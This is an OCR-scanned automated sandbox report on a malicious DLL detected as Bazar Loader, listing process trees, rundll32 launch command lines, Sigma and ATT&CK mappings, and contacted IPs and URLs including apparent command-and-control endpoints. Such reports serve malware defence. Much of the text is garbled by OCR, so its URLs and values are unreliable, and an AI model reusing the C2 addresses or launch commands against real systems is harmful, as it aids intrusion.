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Windows Analysis Report TWsmloYqC6.dll

Overview

General Information Detection

Sample TWsmloYqC6.dll
Name: MALICIOUS

Analysis ID: 492040

MD5: fd6992463689acf..
SHAL: d8b3968a08h12e..
SHA256: 8b971c2c4c9a02..
Infos: A gt QS

Most interesting Screenshot:

Baza ader
100

Score:

Range: 0-100
Whitelisted: false
Confidence: 100%

Process Tree
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Signatures

Sigma detected: Dridex Process Pa...
Sigma detected: CobaltStrike Load b...
Detected Bazar Loader

System process connects to networ...
Sample uses process hollowing tech...
Writes to foreign memoary. regions
Allocates memory in foreign process...
Injects a PE file into a foreign proce...

Sigma detected: Suspicious Svehos...

Queries sensitive disk infermation; (V...

Modifies the context of a thread in a...
Performs a network lookup / discove...
Queries sensitive BIOS Information ...

Contains functionality'te checkiifiaid:..

Classification
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= System is wl0x64

e [ loaddli64.exe (PID: 6060 cmdline: loaddll64.exe 'C:\Users\user\Desktop\TWsmloYqC6.dIl' MD5: A84133CCB118CF35D49A423CD836DOEF)

cmd.exe (PID: 6504 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\TWsmloYqC6.dII' #1 MD5: 4E2ACFAF8A396486AB4268C94A6A245F)
. D rundll32.exe (PID: 6476 cmdline: rundll32.exe 'C:\Users\user\Desktop\TWsmloYqC6.dII'#1 MD5: 73C519F050C20580F8A62C849D49215A)

e [ regsvr32.exe (PID: 6500 cmdline: regsvr32.exe /s C:\Users\user\Desktop\TWsmloYqC6.dll MD5: D78B75FC68247E8A63ACBA846182740E)

. @ iexplore.exe (PID: 6460 cmdline: C:\Program Files\Internet Exploreniexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
. @ iexplore.exe (PID: 1496 cmdline: 'C:\Program Files (x86)\Internet ExplorenlEXPLORE.EXE' SCODEF:6460 CREDAT:17410 /prefetch:2 MD5:

071277CC2E3DF41EEEA8013E2AB58D5A)
. D rundll32.exe (PID: 1384 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,DIIRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)

e B svchostexe (PID: 5684 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

e B netexe (PID: 3576 cmdline: net view /all MD5: 15534275EDAABC58159DD0OF8607A71E5)

. conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 6848 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,DllUnregisterServer MD5: 73C519F050C20580F8A62C849D49215A)
rundll32.exe (PID: 5580 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,PauseW MD5: 73C519F050C20580F8A62C849D49215A)
m 7 svchost.exe (PID: 3148 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

rundll32.exe (PID: 6332 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,ResumeServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5532 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,ResumeW MD5: 73C519F050C20580F8A62C849D49215A)
[m 7 svchost.exe (PID: 5336 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

rundll32.exe (PID: 7152 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,StartServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5328 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dIl,Startw MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5952 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,StopServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5552 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,SuspendServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5656 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_codec_set_threads MD5: 73C519F050C20580F8A62C849D49215A)
rundll32.exe (PID: 5924 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_create_compress MD5: 73C519F050C20580F8A62C849D49215A)
rundll32.exe (PID: 1312 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_create_decompress MD5: 73C519F050C20580F8A62C849D49215A)
rundlI32.exe (PID: 6312 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_decode MD5: 73C519F050C20580F8A62C849D49215A)

rundlI32.exe (PID: 7056 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_decode_tile_data MD5: 73C519F050C20580F8A62C849D49215A)
PID: 6700 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_destroy_codec MD5: 73C519F050C20580F8A62C849D49215A)
PID: 1200 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_destroy_cstr_index MD5: 73C519F050C20580F8A62C849D49215A)
PID: 7104 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_destroy_cstr_info MD5: 73C519F050C20580F8A62C849D49215A)
PID: 6424 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_dump_codec MD5: 73C519F050C20580F8A62C849D49215A)
PID: 5096 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_encode MD5: 73C519F050C20580F8A62C849D49215A)
PID: 1348 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_encoder_set_extra_options MD5: 73C519F050C20580F8A62C849D49215A)
D rundlI32.exe (PID: 6276 cmdline: C:\Windows\System32\rundlI32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,DIIRegisterServer {FD4EF353-9C8C-48E0-BB05-78974FB93B24}
MD5: 73C519F050C20580F8A62C849D49215A)
D rundll32.exe (PID: 5700 cmdline: C:\Windows\System32\rundlI32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,PauseW {472D041F-5A83-4CB6-BA61-CCC2757AAF71} MD5:
73C519F050C20580F8A62C849D49215A)
D rundll32.exe (PID: 6420 cmdline: C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,ResumeW {A30E4BC4-954D-4192-B87D-90749D0EE54D} MD5:
73C519F050C20580F8A62C849D49215A)
= cleanup

rundll32.exe
rundll32.exe
rundll32.exe
rundll32.exe

. rundll32.exe

(I I I I I I I I I I IO I I IR B P I B

. rundll32.exe

.

.

.

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary: -i.

Sigma detected: Dridex Process Pattern

Sigma detected: CobaltStrike Load by RundlI32

Sigma detected: Suspicious Svchost Process
Sigma detected: Net.exe Execution

Sigma detected: Windows Network Enumeration

Jbx Signature Overview
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@ Click to jump to signature section

Spreading:

‘]

Networking:

‘]

System process connects to network (likely due to code injection or exploit)

a2

System Summary:

=

Malware Analysis System Evasion:

=

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Detected Bazar Loader

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command N

Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E

Valid Windows DLL Side- Process Masquerading oS System Time Remote Archive Exfiltration Encrypted E

Accounts  Management Loading Injection Credential Discovery Services Collected  Over Other Channel Ir

Instrumentation Dumping Data Network N

Medium C

Default Shared Modules Application  DLL Side- Virtualization/Sandbox LSASS Security Software Remote Data from  Exfiltration Ingress Tool E

Accounts shimming [E§ Loading Evasion Memory  Discovery Desktop Removable Over Transfer@ R

Protocol Media Bluetooth C

Domain At (Linux) Logon Script Application Process Security Process Discovery SMB/Windows Data from  Automated Non- E

Accounts (Windows)  Shimming Injection Account Admin Shares Network  Exfiltration  Application T

Manager Shared Layer L

Drive Protocol
Local At (Windows) Logon Script Logon Script Obfuscated Files or NTDS Virtualization/Sandbox Distributed Input Scheduled Application S
Accounts (Mac) (Mac) Information Evasion Component  Capture  Transfer  Layer s
Object Model Protocol

Cloud Cron Network Network Logon  Regsvr32 LSA Remote System SSH Keylogging Data Fallback \%

Accounts Logon Script Script Secrets Discovery Transfer Channels D

Size Limits C

Replication  Launchd Rc.common Rc.common Rundll32 Cached System Network VNC GUI Input  Exfiltration  Multiband Ji

Through Domain Configuration Capture Over C2 Communication D

Removable Credentials Discovery Channel S
Media
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Initial

Privilege Credential Lateral Command
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control
External Scheduled Task Startup Startup Items DLL Side-Loading DCSync File and Directory Windows Web Portal Exfiltration Commonly
Remote Items Discovery Remote Capture Over Used Port
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Indicator Removal Proc System Information Shared Credential Exfiltration Application
Compromise Scripting Interpreter  Task/Job Task/Job from Tools Filesystem Discovery Webroot API Over Layer Protocol
Hooking Symmetric
Encrypted
Non-C2
Protocol
Behavior Graph
Legend:
I:l Process
|:| Signature
|:| Created File
Behavior Graph
e . EE onsPio
e .I'a Is Dropped

&

Is Windows Process

o Ias Number of created Registry Values
LLL}
= « || Numberof created Files
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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EA https://veswmsn.com/de-chifacid=ichp & ¢ || search...

3 WS Schweiz | Sign in Het..

Microsoft tritt fiir den Schutz Ihrer Privatsphdre ein.

Microsoft und unsere Drittanbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichern und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitge: verwaltet und verbessert werden kdnnen. Wenn Sie zustimmen,
personalisieren MSN die angezeigten inhalte und Anzeigen. Sie kénnen 'Akzeptieren' auswahlen, um dieser Verwendung
zuzustimmen, oder auf ‘Zwecke anzeigen' klicken, um Ihre Optionen zu Uberprifen. Sie kénnen Ihre Auswahl unter ‘Einstellungen
verwalten' unten auf dieser Seite andem, Datenschutzerkizrung.

Wir und unserer Partner verarbeiten Daten, um

prazise Geolokalisierungsdaten zu verwenden und aktiv Gerateeigenschaften zur Identifizierung zu scannen. Dies dient dazu,
Informationen auf einem Gerat zu speichem und da zugreifen sowie personalisierte Anzeigen und Inhalte, Anzeigen- und
Inhaltsmessung, Einblicke in die Zielgruppe und Informationen zur Produktentwicklung bereitzustellen

Zwecke anzeigen

e der Partner (Ar

E

Turn on Windows Firewall

Type here to search

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
TWsmloYqC6.dll 4% Virustotal Browse
TWsmloYqC6.dll 4% ReversingLabs Win64.Trojan.Sdum

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download
29.2.svchost.exe. 7ff70d6e0000.0.unpack 100% Avira HEUR/AGEN.1142239 Download File
24.2.svchost.exe. 7ff70d6e0000.0.unpack 100% Avira HEUR/AGEN.1142239 Download File
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https://www.virustotal.com/gui/file/8b971c2c4c9a020eb274c36db20bc0e1b203a7909d63f48f99bef5594110929f/detection/f-8b971c2c4c9a020eb274c36db20bc0e1b203a7909d63f48f99bef5594110929f-1632808326

Source

Domains

No Antivirus matches

URLs

Source

http://https://161.35.29.127/feed/news/last
http://https://161.35.29.127/feed/news/last

http:i/https://btloader.com/tag?0=6208086025961472&upapi=true

http://https://ad-delivery.net/px.gif?ch=1&e=0.071014012951503

http://https://161.35.19.83/feed/news/last

Domains and IPs

Contacted Domains

Name

contextual.media.net
new-fp-shed.wgl.b.yahoo.com
dart.l.doubleclick.net
myexternalip.com
hblg.media.net

lg3.media.net

btloader.com

www.google.com

www-amazon-com.customer.fastly.net

geolocation.onetrust.com
ad-delivery.net
WWW.msh.com
ad.doubleclick.net
srtb.msn.com
www.yahoo.com
Www.amazon.com
web.vortex.data.msn.com

cvision.media.net

Contacted URLs

Name

http:ifhttps://iwww.yahoo.com/rwéfibQdwKcmdvsetfommtzORqCEbeuyoqtwaf/

P

23.211.6.95
87.248.100.216
142.250.186.70
34.117.59.81
23.211.6.95
23.211.6.95
172.67.70.134
142.250.185.196
162.219.225.118
104.20.184.68
104.26.2.70
unknown
unknown
unknown
unknown
unknown
unknown

unknown

http:ifhttps://iwww.google.com/rbwHu5Shjkeuvkuf8oTaqc6z7g/

http:ff

Detection

Active
true

true

true

true

true

true

true

true

true

true

true
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Malicious
false
false

false

https://www.google.com/cJi7I2WpuslUuvebbed6plxm5tI3xFI1gmy057/70lYdv5idu2fwz6Raz2H
vv/hdReuPwq6CvywwkkicnRW4IztwnhjXz5rodyl1ghtzdl/blphet38vbf77s4it16v6mCFkgvh1w8M

dho/

http:ifhttps://iwww.google.com/mf3Lduswpvy6SPzcbmxwaljG67qoj6c6j19997OkmA/

http:ff

false

false

https://www.yahoo.com/5qxze318lf75pclBusixizOclJekccl8A4200A6u8whnw/2Rry2xqwlEVsiF6
4tpe3Rhov4wb8Wp79ttm2ear/mmzonv1allSYpfwxiShcLMzxXkgV1xigzSt/inw4k7ndygbbgwlb
7szc67jc/wa5R7hLnhtfulhwfonx0ag44at42bKhgiblc/

http:ff

false

https://www.yahoo.com/5plLtfbxrypimafaskbytFsHook1t3a0Oniuf/9643mz8cS6tdi7IgaabHevS46j
ibczkl8vdanMpodf3a/n1m1wNIspi2miN7Cukulmaneulmugsn5/ewwL01YUYovis3aHyl/msM3dh

GsffzncwxmlazlyjC4i67xsa4slkI0Olj/
http:if

https://www.yahoo.com/eTzWuluo4t9ooivcrPf6pe/mfk8smtmi383pV1imgvtvwyMFadOMY FI/

http:i/fhttps://geolocation.onetrust.com/cookieconsentpub/v1/geo/location

http:ff

false

false

false

https://www.yahoo.com/ce8pX23gvo5mlgEd8ovOwwzelsudj/b6lmlga2dlzarfp3ael/Xnveevam

ckesKzXGtKzdgje8s/

Copyright Joe Security LLC 2021

Scanner Label

Detection Scanner
1% Virustotal
0% Avira URL Cloud
0% URL Reputation
0% Avira URL Cloud
0% Avira URL Cloud

Malicious Antivirus Detection
false
false
false
false
false
false
false
false
false
false
false
false
false
false
false
false
false

false

Antivirus Detection

Label

safe
safe
safe

safe

Download

Link

Browse

Reputation
high
high
high
high
high
high
high
high
high
high
high
high
high
high
high
high
high
high

Reputation
high
high
high

high
high

high

high

high
high
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https://www.virustotal.com/gui/url/baaed25a16984f4380103f9d9cfdfd4bff2a99aa6f8fc3c880a3179fc53bff8f/detection/u-baaed25a16984f4380103f9d9cfdfd4bff2a99aa6f8fc3c880a3179fc53bff8f-1632759065

Name Malicious Antivirus Detection Reputation

http://https://161.35.29.127/feed/news/last false e 1%, Virustotal, Browse unknown
e Avira URL Cloud: safe

http:/f false high
https://www.yahoo.com/7rLx7jUix7wRJhuBpcByqv3qfkhxlask29Rj4/TeUgkJogtjcjbE2aJ/u42du
X140H2p5wgwScoit8ophhalexc9f3u/

http://https://www.amazon.com/kt8rj5729zg8dcKdUobze7/ false high
http://https://www.amazon.com/c5ClawVDu9Jvihxm51dvteg6c34r1CUsjvh7700CcuAYti/ false high
http:/f false high

https://www.google.com/eXJT8urr30tgdbjfmfgNgiOhwBfp7bb/izprjOnjylnwn6ciTs780z1t24w5/qv
UhaqTr45h3021iS936mwVgcBOYP11vIxt24wgj/eKolr53Dc8p3702d;ji9rfrph2imalON/

http:/f false high
https://www.yahoo.com/9GuwHdocm3fspOQm/t2uabxfliof0td012eir4jwi96nGg/K7hwmewf5I8cf
viyylvd2i5gy63cdioffugGQ/ew3sBtaPestyioqyjvgkl2fgsefSya5smp7m/y8soWU99I3VztklazONfb

zRdka186/

http:/f false high
https://www.amazon.com/Oiuwzt5jtaQjbintvBD34x94V1ez/eHtuwkg5a5xam9ddbw7V96jsatl/56
8ll09E5U8di66r6sy3rihuh6ioyuduFmxQo7Y/jOopq606gx6YNOi78uL9gXso/uZsq2Eotwg3eabbrf

6qiYqsHek4grl1g26dn60i78ggbB4v/

http:/f false high
https://www.google.com/adjnjgdn9flrd9j0I5aoccowZcmxigk6vge59f43iD/6RDRkx66f96f1uxib2d
MIk2Pdiilzif525V0gla/oggjkxmNRw1usrQQITowwqI3if8rfvp9xikq9Doj8aV1W3va/sp3qirrfgtgivg

3f310a6s1xi9zumR540am9h6493p/

http:/f false high
https://www.amazon.com/ykvO2qgxxd1yrlY Bh6thdoahFh4lgdfrtvmjvto/etkagls8gar4Mt80oihaQs

/pv3hVtHg9dI7ngNph7qizd0iSbca6umOEr7fo/wY vKfbybg6k2x5ifkeDucmyL zraotlah4yeoBBkKn

a/gyszrjpSljYd3na69b3l4m8x2111G7yPSIBk6lqgxj/

http:/f false high
https://www.google.com/9fJgxvunMcrOCrodzgHgn7yJjExdfatlifkgtffhhn/Y16s7vic464uSsu4blv/
Sh5c5QaBs0Oobo8fjcd59Jvg4159fnpo480urDR/gQrBojyein48d5zIuzz9lflxdp3145yQut6S2le0Gfi

e/

http:/f false high
https://www.amazon.com/ly30h9u0yrnbcne3gh/5uhvH6ErsXOH60rt7h9f2Kk8gUKz8Vjn/rccOfou
quugl4aQ9ttsh51100sgKiUmoU2A9/

http:/f false high
https://www.google.com/64a3nBgsiOd4zgksf85agYb7tH7n44iNQ1y/10weq4tMOomeux533w8v
keebOb7c2thkixw8z0ig5epR3y\V5/b4zf22Yrzigsjrulggeeghjtby04G2QbtolfzGe/

http:/f false high
https://www.yahoo.com/gp1mx3dnqvlii3z8e4ds3flqlze00ff03/kqyazm22ncy02xhviuwaGOi/4gk2
n6ADImgokv8wNbzcBhmC/jkg8Pd2n7QigfkplmwDbmx5IbwTInIpSpwwyoo6V/2A99jMOyPjwag

9a3uyplpmlIzuXfFI7ghte/
http://https://www.google.com/Okwe30rMphmtjkotatbs Séfiloatkf6XrLgawrupaq9hQam/ false high
http:ff false high

https://www.yahoo.com/ALgbzn5v5409mLy2/D3sswzdzd0Zg2606cT4ftm9bsgl6g9clzb/6gmi9y
Xj2pVRh1gsm5ms1fdéwezX6Li8tl/

http:ff false high
https://www.amazon.com/n5d35x62wrKVgpbThsyV7bDux5zg462fhuulkey7Ny/nu4qWV5IvP2p
22Yeb6iWmflfm4pocOdpToemhbsoKc4K87/

http:ff false high
https://www.google.com/gslielaqto24df8183m/0jGst3i6n6fg13MJ/4bceigRm2r87ycpnlu8y9ssK
wmwtbuzkhzatBus6kg58Fw/dzeTx1tyggak07knjYfblpgae04Cd2sdsgx3urO3wgmK/drfZvmojkfL

h4FdUghS4u25uuevdsiz/
http://https://www.amazon.com/kbnm45xk0M7qatqix35gkJicweigo/ false high
http:ff false high

https://www.yahoo.com/fbxa75FaGsf4japtkVc63156 7ux59Tmg9gGVZdkg4b4ampvva/aaiQlj7pv
whqosjizkzMdMO36pfgo5Reqy6gmchRDby/jwaicOalfprdiluVcafholcqed8iz44kzekpQk/tdyhs
5adnnybrolX6mcjho9vOb8g6evq6bgh6hslhsadn4C/

http:/f false high
https://www.amazon.com/2pch5QEmrLw3xzJnnrzIGabirLxuivFs/ItMi7hhX5tt4vs3rSp9duhm;j/z8
8857flzovnw1025vzu/y10gyol724X611bgprz0jreflEq2ggRYdMOf7h/mdwb6IxX3n20n6rCét5yvi

/

http:/f false high
https://www.google.com/vuKkY208Vdrn5v8g2vr8i5ifVj/enkwnjjOihgc2sTh5qo58zU8pfa6/yflzOc
719991s62pv1rN0f6tGqi6r2su2/

http:/f false high
https://www.google.com/8ibcficGeboixwKrb3iyFabdjtbLmv/zZ2nQm99Tn50keb750Xjn7Jird53
Dpinvo4w3K0dbc10k7n2/uTgmgObtwoxb7ij2i8zR8m3ga/

http://https://btloader.com/tag?0=6208086025961472&upapi=true false e URL Reputation: safe unknown
http://https://www.yahoo.com/Owmgim0Td84ugpWvzrgoDm/ false high
http:/f false high

https://www.yahoo.com/3pRpmng8naqtfeVmyfv/ISnrmuglfwddxUu77hkn3izm278644nsshk/H6
uvs2jgz5moyoix6s3Z4oudpot87vw/

http:/f false high
https://www.amazon.com/orbyj7P4wEdaicnsh6grcX1wVf0Otx0ZHg558e67 TrdsyycJ/hhlfng7a
Cii8gri0gqfs61Pcvotdxular2lzerN/xoewvhs766suwyl9sgx2so0eS2xjsZW6hneruzfR/muchxeicbi

giOlbdfmuV690g49u53h0Xtmxc1mCl8345yvj/

http:/f false high
https://www.yahoo.com/GeCxeorOxk2eOn1u85uU39kv/20Nmne1j3m7spepr113v7LnkV0Z/InI8
supHr8f0c83pgea9A5Sus9x63zmcer/
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https://www.virustotal.com/gui/url/baaed25a16984f4380103f9d9cfdfd4bff2a99aa6f8fc3c880a3179fc53bff8f/detection/u-baaed25a16984f4380103f9d9cfdfd4bff2a99aa6f8fc3c880a3179fc53bff8f-1632759065

Name Malicious Antivirus Detection Reputation

http:/f false high
https://www.yahoo.com/2zalgvjzinOljAfo2ufxxisidwpSVo231t8A/cp3sorel0pishkmgffanska6z/

http:/f false high
https://www.amazon.com/0CjjxynrhtAae0xqlSijX4NGmkVz4gcf4z5eegbwgsEMppa/gglhlc9l4h
m8gwOu/C26qV9wsw8sadnDugVon6prBj/

http:/f false high
https://www.amazon.com/u75Pfq2dt3xK1b7dUjctykht8u6/G6voyzSs8XJz88sI5;BdTwfqu440q
Hp4uibd/hjJobBxzi2M5d1xwABJAIxkt/

http:/f false high
https://www.yahoo.com/mv5d2ghb91jYux3rhfgUzspdpQ/nrdi3gqvgju3ifgEhQsmfgwlvgpxjErohrn
/8aj6zfdmkmm2If508vjm8A6eOacvcl6rigb/

http:/f false high
https://www.amazon.com/Bllcs2iayVogzcpjjz/kolmrpszv35M6i5cq8xioudL0gh5yZo2kfo8kadfz
4R3hqg2/KotyZh3e289wHuknSysiis2308hdZk62ss1c8/kgh4tm2n5muxb0xy5fe8o7r9vcolf/v27frx

rHyr2Yg3bksUursX0om2m590ihdGwsn8J/

http://https://www.yahoo.com/b2YpYOvEhxawf6yh70/ false high

http:/f false high
https://www.yahoo.com/1he7n45hgqdN6Hete7vii3Bz0ipXe67z/8mg2j7fr87r6oelulRuh4reckhZ
0geue9h16lumt2/g8bvtmAnOg2tsvixcghmbpstytjBTk54/0dpi7rh6qvzwenxrr/q570q0gjZ2j7e5ID/

http://https://www.amazon.com/K2pS9bLvkjoWxUjivwgkm8k5livar7c7wiNfdo6ofbo7/ false high

http:/f false high
https://www.yahoo.com/5I3jalxgba3kjqfdt/jebbTjfk2VYpvNrziCj2hpbfrSvtgbQdI3n/1wuurx359k
33reb5098jueXI5vxtdkl53w/2cXkOmjtpx8h0g8090kWBv1v/a6wm55B7u5Crihm8HitirHysMrnTk

rggaw9cslughOpSMx/

http:/f false high
https://www.yahoo.com/eAtiq6g23uzpfjnsva/q3xgjbji2c1D0csjhBdkai070Encd5Ye9nkajur7/vs1
170vtjt79fs2aj87jy2t5tyzm66Zp0viChousraf8/

http:/f false high
https://www.amazon.com/xg1llshORgzu31iKf7yydf/5yO9lyRofucQgjiBOvOkz37NgnOeltx73Q/jy9
maoh5WwcexS27itynf47s/kb9x3kpsfwfmyraAw73gk9kPfmwoVgGkUcxo/

http:/f false high
https://www.amazon.com/mS7tcFvOmenbltEqe10kZt3RTh6 TjONav6pSUjendz71/hi9rDalavrg9
VE2vmOgoWKm1tixc7dR82sfszmt61x7/7deyu5tr5jcIbinsxekBzocGe5s2F6/8xNelja2elkelfr8n

uh77e31I5/amNyklaxqqth8tpbrgeeqlieDznmn4D/

http:/f false high
https://www.google.com/qv3ia8eolR2XnA4unvit9uMeHm9f8pwemSy6p4mfmu3rmgk4/or3iwef
3yx9jX040pjFrd/v170ubNvro7cr5ppFA7y3zrbli/

http:ff false high
https://www.google.com/Nf3BeR1dvs73zpiul00tcpCos/5t19ynEOswdpm3BvhfcklgNnvW1ipuyn
6TRC2e2rhjnn5ahx/a5afq4Z2g8xLmcypponBOExM8f/quvvmxIi8k7nOkyoxzrynms7sp5g0/

http:ff false high
https://www.amazon.com/DooRtnTOUXembqa0298jih9Y99ak7fe6ur/ax5xkkSYd3274magEek1u
2/W6nyojyCe181sZyJ844dqc68aso/7aytusfhzn0d2xue3fQnxos/

http:ff false high
https://www.yahoo.com/bee595xzwjrurd T1L7zJ4suumRmpeqIGAsgb/hktc7sZgKowgs8bsign5
16jfOkyRg3nf4oBp/uswH14uVg3r5E7fémdeem9plepubgbr/

http:ff false high
https://www.yahoo.com/rAYqlr7w2jOed6cqvhudH4V3fxry/sly7yksizeng2x202Hfhb/9XAch6x8g

o06NeaaU/

http:ff false high
https://www.yahoo.com/jxjvrx9b1Fkby3vtz096/rbfBnkttgvcZygw15n3i2c4rq88wg6jkij2srwfo5p/

http://https://www.google.com/iZ84kk7wKe7gl6¢c18r5rganns38T7fairdlkVautx/ false high
http://https://ad-delivery.net/px.gif?ch=1&e=0.071014012951503 false e Avira URL Cloud: safe unknown
http://https://www.amazon.com/qvE8klaeloscwZofgUuleoh6tadbdggm5e6wac26/ false high
http:{/https://www.google.com/Lmz3s5u51r8c0dm1i/ false high
http:/f false high
https://www.amazon.com/ruhmqj52my7pp86DzBjihfe/5Gas5ouavctnk1jk0e3Z1dmfpizvxcylrvs

Xx6H14pke/

http:i/https://www.google.com/mss4pspXhns23h7IEfLQ/ false high
http:i/https://www.google.com/3frov56necHZygdOqgdrUhoAismEsluakucpxmmX3Vyiipsm/ false high
http:/f false high

https://www.yahoo.com/t68w4hdtscM8g0hDHS/jj2n2gbx9wLretb7Qpyjm1dT3jj4/Rkdpna500sy
ortMyiFplIX88cutl71rSf9Insls1808mz/mthQ69c32jn9IA3vnvChB9aght/I93o0NxuMn8nonoSf5k74
ujq9hx07aopnjgudYrOzozvk7x/

http:/f false high
https://www.google.com/46a9ba02ytu2kmsJhkaaky7/b0z56KgpXahu6p36yzae/q37qs46stu4m
k6qulv67/tTzd73jbpgskpOnRu/

http:/f false high
https://www.amazon.com/bgq7Ud95|6an63q5Q5sm/It2nrfw2J05ggd2xRIlugbanbu2gmbhijrrind24h
hmaty31/akhfw7kpxR6HkDUyc180a5mAJkp10xW7k7rgdV6489/92xZ434fmua8zltxefxglivs7p

5Jou32wQjloYOlYkjhnaR/

http://https://myexternalip.com/raw false high
http://https:/iwww.amazon.com/m8rM2d4vj3j9x4Qx74uJmsfakxiqfvWzalr3GN31/ false high
http:/f false high
https://www.amazon.com/6u0Okzsl|7ryto97pk2xdn8o5s60gbkqVFQ2Kv8KOCwS5ij/HYbuzkotCBtg

M8H04tZ9djci5vofm0lyh/
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Name Malicious Antivirus Detection Reputation

http:ifhttps://ad.doubleclick.net/favicon.ico? false high
ad=300x250&ad_bhox_=1&adnet=1&showad=1&size=250x250

http:/f false high
https://www.amazon.com/hgeraaws8gtpR8De3rkjw3Um1/xtsgc6szpiyk2gVpshgmlSkqua2hY64
08nkbkqr/vggQ8ru88h7xmTPgPhqgWv586j7shgp2uc5hAx/

http:/f false high
https://www.amazon.com/bkS2zfojrloxax42q7ywl9NnxJz2Eth/FixcrDy0zK7eoOuh2qcla/5SneU6

41Dq7Ad4ivg6l4/

http:/f false high

https://www.amazon.com/fJJ3UA0iID56hw4fc7Honei06tvsxn/ccfThedvilys54e8a148Gptn9nheT
a9/g573rv6FEFfCpsfbggqoSk8vwbdtOebilLzb/upiTgp9rs63kY8eknUaMtd7nlf5e409vb1p2rQz9uq
/np3oikgtofsrm43KrjbhDai54k2e70glotgFq3jaw3a3g9v/

http://https://www.yahoo.com/8xnsjpOe26mtLcQ22sucoufkvdbm/ false high
http:/f false high
https://www.amazon.com/nnq2n2tsj68tcR2D6wWEN4s7HCI7IgD/qt8Cnkw3e004mO0Obem4i2rkssc

shpKgcv2a0jy0o5vioN/

http:/f false high

https://www.google.com/9Hhrz5mDbrn8Qrv6BhSyJu3ilbmvariZy941x0wnp/oumUiownvnB1p3
zqdjXI3u72hsc5nbkN77b/zbgW6z9Uin15G7c5jrOcyeasu7qV3dc104wgjXchaktld/ibksz5L9x2rk
vixc5k6evO3v/uiz5ke6ChX71rpTvub63jnhzzdjN5pnvg9YYonbas5w3q56f/

http:/f false high
https://www.amazon.com/tkxfferfpm3thF8bGv79h6rt91Zd4v1f7nt258res8EsLaxX/v5qW89nsym
994940llaa33R7HRtNj/bz9ziqulo962gAesqOhmdletV04uzu/3cF4laudz1gn53RIal8nslt6g812/f

54lw8nhDzyAzfuxlgbg2yai24al55lghngsmh/

http:/f false high
https://www.yahoo.com/iButv9s4rkH24tr3Gy9/bmznt9UJX8nzh5PnvFYjyb5m408iAPQiOvWwO

kvK5iXqet5/

http:/f false high

https://www.google.com/epmo7qZbPmgXfDGM|Qibb/4u63rm5ZwhDwjsS72ioihcXB02q0yb5zn
rcAhkgn/niukNkhseiCa5pxbQJpl5sh3qjk8yzaWs30z6gxrksdz91p/stpPyu3xk7f8saR9zt4U3HZT
PONn2zncl6l/yned6fc0ZIgwgeUyfmmSx5d4lytjaVvizOjy/

http:ff false high
https://lwww.amazon.com/c2nytzC18hFezq36jar1p2H/59yohiltuukéoUi2bdmah2g/vd2Usd1ozg
teagwbo2ut2gXr6Kbcix00/x7J0zsfCn6Xvj95r/

http:ff false high
https://iwww.amazon.com/dfh70l1kmus9klSyOxhFZx4F2r/rm0OgwWevd7sj5jwC0o3onb9eajcn4ul

cw1r51c53c8/

http:ff false high

https://www.google.com/ny27jAIfVIqgrtatrH9b7ewok3E8f/qtsuvwxsbVgerYQpréaw50WmcQ/
